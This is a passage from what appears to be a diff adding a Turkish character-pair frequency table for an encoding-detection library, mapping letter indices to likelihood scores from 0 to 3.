# 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 20: { # 'M' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 0, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 46: { # 'N' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 42: { # 'O' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 2, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 48: { # 'P' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 44: { # 'R' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 35: { # 'S' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 1, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 2, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 31: { # 'T' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 2, # 't' + 14: 2, # 'u' + 32: 1, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 51: { # 'U' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 38: { # 'V' + 23: 1, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 1, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 62: { # 'W' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 43: { # 'Y' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 0, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 1, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 56: { # 'Z' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 1: { # 'a' + 23: 3, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 1, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 21: { # 'b' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 3, # 'g' + 25: 1, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 2, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 28: { # 'c' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 2, # 'T' + 51: 2, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 3, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 1, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 1, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 2, # 'ş' + }, + 12: { # 'd' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 2: { # 'e' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 18: { # 'f' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 1, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 1, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 27: { # 'g' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, 